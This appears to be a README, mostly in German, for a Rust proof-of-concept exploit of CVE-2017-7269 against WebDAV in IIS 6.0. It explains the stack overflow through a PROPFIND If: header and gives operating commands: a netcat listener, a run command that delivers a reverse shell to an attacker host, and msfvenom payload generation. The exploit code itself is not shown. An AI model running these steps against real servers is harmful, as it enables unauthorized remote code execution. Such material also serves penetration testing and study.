
A Rust implementation of the POC for CVE-2017-7269, targeting the WebDAV service in Microsoft Internet Information Services (IIS) 6.0.
Eine Rust-Implementierung des POC für CVE-2017-7269, die den WebDAV-Dienst in Microsoft Internet Information Services (IIS) 6.0 angreift.
CVE-2017-7269 ist eine kritische stackbasierte Pufferüberlauf-Schwachstelle im WebDAV-Dienst von Microsoft IIS 6.0, der mit Windows Server 2003 R2 ausgeliefert wurde. Ein erfolgreicher Exploit ermöglicht einem nicht authentifizierten Angreifer die Remote-Codeausführung auf dem Zielserver.
httpext.dll (IIS WebDAV-Erweiterung)ScStoragePathFromUrlPROPFIND HTTP-Anfrage.If:-Header mit mehreren URLs.Die Schwachstelle ist ein klassischer Stack-Pufferüberlauf. Sie wird ausgelöst, wenn die Funktion ScStoragePathFromUrl eine PROPFIND-Anfrage mit einem bösartigen If:-Header verarbeitet.
Dieser Exploit erstellt einen solchen Header mit einer langen Byte-Sequenz, die den auf dem Stack reservierten Puffer überläuft. Dieser Überlauf überschreibt kritische Stack-Daten, einschließlich der gespeicherten Rücksprungadresse (EIP). Der Exploit kapert den Programmablauf, indem er diese Rücksprungadresse auf eine kleine initiale Shellcode-Nutzlast zeigt, die sich ebenfalls im bösartigen Header befindet. Die Aufgabe dieser ersten Stufe des Shellcodes ist es, die Hauptnutzlast, eine Reverse-Shell, zu finden und auszuführen, die im Body derselben HTTP-Anfrage gesendet wird. Dieser POC demonstriert erfolgreich Remote-Codeausführung, indem er eine cmd.exe-Shell mit einem vom Angreifer kontrollierten Listener verbindet.
Listener vorbereiten (Port entsprechend --lport anpassen):
nc -lvnp <attacker-port>
Exploit mit eingebettetem Shellcode ausführen:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
Das Tool patcht den WSA-Shellcode spontan mit LHOST/LPORT und liefert ihn im HTTP-Body aus. Wenn das Ziel verwundbar ist, erhält Ihr Listener eine Reverse-Shell von cmd.exe.
--payload)Rohe Nutzlast erstellen
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
Nutzlast ausliefern (keine Angabe von --lhost/--lport erforderlich, da der Shellcode diese Informationen bereits kodiert):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
Callback im selben Listener wie zuvor behandeln. Da die Binärdatei einfach die bereitgestellten Bytes streamt, hängt das genaue Verhalten von der erstellten Nutzlast ab.
Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Penetrationstests. Verwenden Sie es verantwortungsvoll und nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung haben.